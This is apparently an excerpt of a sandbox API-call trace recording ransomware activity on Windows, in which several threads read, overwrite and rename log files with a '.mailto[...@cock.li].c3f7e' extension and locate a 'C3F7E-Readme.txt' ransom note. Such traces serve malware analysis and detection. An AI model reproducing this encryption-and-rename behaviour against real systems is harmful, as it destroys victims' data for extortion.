	[0084.103] RtlRandom (in: Seed=0x27dbf774 | out: Seed=0x27dbf774) returned 0xa5aeaeb7
	[0084.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34438) returned 1
	[0084.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa9b8
	[0084.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0084.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342f8
	[0084.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342f8) returned 1
	[0084.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0084.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0084.111] ReadFile (in: hFile=0x16f4, lpBuffer=0x503e840, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x27dbf764, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x27dbf764*=0x3000, lpOverlapped=0x0) returned 1
	[0084.112] SetFilePointerEx (in: hFile=0x16f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.112] WriteFile (in: hFile=0x16f4, lpBuffer=0x504b048*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x27dbf760, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesWritten=0x27dbf760*=0x3000, lpOverlapped=0x0) returned 1
	[0084.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e340c8
	[0084.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0084.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0084.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa9b8) returned 1
	[0084.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4776010
	[0084.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x45) returned 0x4775ed0
	[0084.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e342a8
	[0084.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34118
	[0084.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34118) returned 1
	[0084.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.114] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaad8) returned 1
	[0084.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x129) returned 0x4ebc658
	[0084.115] SetFilePointerEx (in: hFile=0x16f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.115] WriteFile (in: hFile=0x16f4, lpBuffer=0x4ebc658*, nNumberOfBytesToWrite=0x129, lpNumberOfBytesWritten=0x27dbf7c8, lpOverlapped=0x0 | out: lpBuffer=0x4ebc658*, lpNumberOfBytesWritten=0x27dbf7c8*=0x129, lpOverlapped=0x0) returned 1
	[0084.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc658) returned 1
	[0084.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4775ed0) returned 1
	[0084.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e342a8) returned 1
	[0084.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776010) returned 1
	[0084.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e340c8) returned 1
	[0084.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34258) returned 1
	[0084.117] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34000) returned 1
	[0084.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4924960
	[0084.117] wcscpy (in: _Dest=0x4924960, _Source="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl"
	[0084.117] wcscat (in: _Dest=0x4924960, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0084.117] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27dbf780, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.017.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0084.117] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44360
	[0084.117] NtSetInformationFile (FileHandle=0x16f4, IoStatusBlock=0x27dbf778, FileInformation=0x2e44360, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0084.123] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44360) returned 1
	[0084.123] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47196d0) returned 1
	[0084.123] NtQueryInformationFile (in: FileHandle=0x16f4, IoStatusBlock=0x27dbf78c, FileInformation=0x27dbf764, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27dbf78c, FileInformation=0x27dbf764) returned 0x0
	[0084.124] NtSetInformationFile (FileHandle=0x16f4, IoStatusBlock=0x27dbf78c, FileInformation=0x27dbf764, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0084.124] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924960) returned 1
	[0084.124] FlushFileBuffers (hFile=0x16f4) returned 1
	[0084.125] CloseHandle (hObject=0x16f4) returned 1
	[0084.127] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780df8
	[0084.127] wcscpy (in: _Dest=0x4780df8, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0084.127] wcscat (in: _Dest=0x4780df8, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0084.127] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0084.127] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780df8) returned 1
	[0084.127] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bd610) returned 1

Thread:
	id = 1135
	os_tid = 0x1e2c

	[0083.607] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.001.etl")) returned 0x2000
	[0083.617] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl", dwFileAttributes=0x20) returned 1
	[0084.079] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.001.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0084.090] GetLastError () returned 0x20
	[0084.090] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8) returned 0x2d75df0
	[0084.090] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0084.091] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d75df0) returned 1
	[0084.091] RtlReAllocateHeap (Heap=0x2d50000, Flags=0x8, Ptr=0x2d75dd0, Size=0x10) returned 0x4756868
	[0084.092] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476e788
	[0084.092] wcscpy (in: _Dest=0x476e788, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl"
	[0084.094] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.001.etl", dwFileAttributes=0x2000) returned 1
	[0084.099] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476d7c8) returned 1

Thread:
	id = 1136
	os_tid = 0x1e30

	[0083.608] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.002.etl")) returned 0x2020
	[0083.930] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl", dwFileAttributes=0x20) returned 1
	[0083.931] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.002.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1700
	[0083.933] GetFileSizeEx (in: hFile=0x1700, lpFileSize=0x27ebf8e0 | out: lpFileSize=0x27ebf8e0*=12288) returned 1
	[0083.933] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.933] ReadFile (in: hFile=0x1700, lpBuffer=0x27ebf864, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27ebf860, lpOverlapped=0x0 | out: lpBuffer=0x27ebf864*, lpNumberOfBytesRead=0x27ebf860*=0x4, lpOverlapped=0x0) returned 1
	[0083.940] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0083.940] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.940] NtQuerySystemTime (in: CurrentTime=0x27ebf840 | out: CurrentTime=0x27ebf840*=132251868106713635) returned 0x0
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x30f86b08
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xe3a09be2
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x7f03b41a
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xa08df323
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x8399c2f8
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x3ed855fa
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x98347f34
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xd1a08ad6
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x1eda5698
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xcec924c4
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x9e860fc9
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x4383bd4a
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x142fbcc1
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x7daca80
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x43f1c513
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x7f9bbfd6
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xc3229324
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xa4ec4140
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x95ccf92c
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x70463291
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x491d6270
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xff47e6cc
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x76252b0f
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x382c80d6
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xba527777
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xfcc711b4
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xb680eeb0
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x12610d2a
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x486b580f
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xd54801d4
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0x5c06c6f4
	[0083.940] RtlRandom (in: Seed=0x27ebf84c | out: Seed=0x27ebf84c) returned 0xaee60f98
	[0083.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0083.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa970
	[0083.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e046a8
	[0083.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.949] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x5032038
	[0083.949] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4887048
	[0083.949] ReadFile (in: hFile=0x1700, lpBuffer=0x5032038, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x27ebf83c, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x27ebf83c*=0x3000, lpOverlapped=0x0) returned 1
	[0083.950] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.950] WriteFile (in: hFile=0x1700, lpBuffer=0x4887048*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x27ebf838, lpOverlapped=0x0 | out: lpBuffer=0x4887048*, lpNumberOfBytesWritten=0x27ebf838*=0x3000, lpOverlapped=0x0) returned 1
	[0083.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f50
	[0083.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0083.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4887048) returned 1
	[0083.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5032038) returned 1
	[0083.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e046a8) returned 1
	[0083.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa970) returned 1
	[0083.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf728
	[0083.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0083.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x51) returned 0x2daf488
	[0083.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f50
	[0083.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f78
	[0083.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f78) returned 1
	[0083.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e044c8) returned 1
	[0083.952] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfacd0) returned 1
	[0083.952] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x135) returned 0x481ee48
	[0083.952] SetFilePointerEx (in: hFile=0x1700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.952] WriteFile (in: hFile=0x1700, lpBuffer=0x481ee48*, nNumberOfBytesToWrite=0x135, lpNumberOfBytesWritten=0x27ebf8a0, lpOverlapped=0x0 | out: lpBuffer=0x481ee48*, lpNumberOfBytesWritten=0x27ebf8a0*=0x135, lpOverlapped=0x0) returned 1
	[0083.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ee48) returned 1
	[0083.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf488) returned 1
	[0083.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f50) returned 1
	[0083.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2daf728) returned 1
	[0083.954] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f00) returned 1
	[0083.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d48) returned 1
	[0083.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d98) returned 1
	[0083.955] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33f28) returned 1
	[0083.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4719530
	[0083.955] wcscpy (in: _Dest=0x4719530, _Source="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl"
	[0083.955] wcscat (in: _Dest=0x4719530, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0083.955] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x27ebf858, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.002.etl.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0083.955] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4768628
	[0083.955] NtSetInformationFile (FileHandle=0x1700, IoStatusBlock=0x27ebf850, FileInformation=0x4768628, Length=0xde, FileInformationClass=0xa) returned 0x0
	[0083.956] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1
	[0083.956] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477d898) returned 1
	[0083.956] NtQueryInformationFile (in: FileHandle=0x1700, IoStatusBlock=0x27ebf864, FileInformation=0x27ebf83c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27ebf864, FileInformation=0x27ebf83c) returned 0x0
	[0083.956] NtSetInformationFile (FileHandle=0x1700, IoStatusBlock=0x27ebf864, FileInformation=0x27ebf83c, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0083.960] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719530) returned 1
	[0083.960] FlushFileBuffers (hFile=0x1700) returned 1
	[0083.961] CloseHandle (hObject=0x1700) returned 1
	[0083.963] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780cc0
	[0083.963] wcscpy (in: _Dest=0x4780cc0, _Source="C:\\ProgramData\\USOShared\\Logs\\" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\") returned="C:\\ProgramData\\USOShared\\Logs\\"
	[0083.963] wcscat (in: _Dest=0x4780cc0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt") returned="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt"
	[0083.963] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\usoshared\\logs\\c3f7e-readme.txt")) returned 0x2020
	[0083.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4780cc0) returned 1
	[0083.963] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476e038) returned 1

Thread:
	id = 1137
	os_tid = 0x1e34

	[0083.608] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.003.etl")) returned 0x2020
	[0083.918] SetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl", dwFileAttributes=0x20) returned 1
	[0083.918] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.003.etl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x16f8
	[0083.918] GetFileSizeEx (in: hFile=0x16f8, lpFileSize=0x27f3f8c8 | out: lpFileSize=0x27f3f8c8*=8192) returned 1
	[0083.919] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.919] ReadFile (in: hFile=0x16f8, lpBuffer=0x27f3f84c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27f3f848, lpOverlapped=0x0 | out: lpBuffer=0x27f3f84c*, lpNumberOfBytesRead=0x27f3f848*=0x4, lpOverlapped=0x0) returned 1
	[0083.920] SetFilePointerEx (in: hFile=0x16f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f00
	[0083.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33f28
	[0083.920] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d48
	[0083.920] NtQuerySystemTime (in: CurrentTime=0x27f3f828 | out: CurrentTime=0x27f3f828*=132251868106556721) returned 0x0
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x2072f813
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x769f4df4
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x883f62b6
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0xfa0d0c0d
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x7419c227
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x977accf2
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x2c85e013
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0xd2e5fe5e
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x2790fc0f
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0xaa44f762
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0xc6322da3
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x78c82d0f
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0xf39175de
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x49c64ba
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x8ac92f42
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x550343ec
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x8b7c8faa
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x93072b9f
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x5a00b9ec
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0xf85d68b6
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x3c131e70
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x40aab3a6
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x11fdd466
	[0083.920] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x2acadc7b
	[0083.921] RtlRandom (in: Seed=0x27f3f834 | out: Seed=0x27f3f834) returned 0x80074bb3
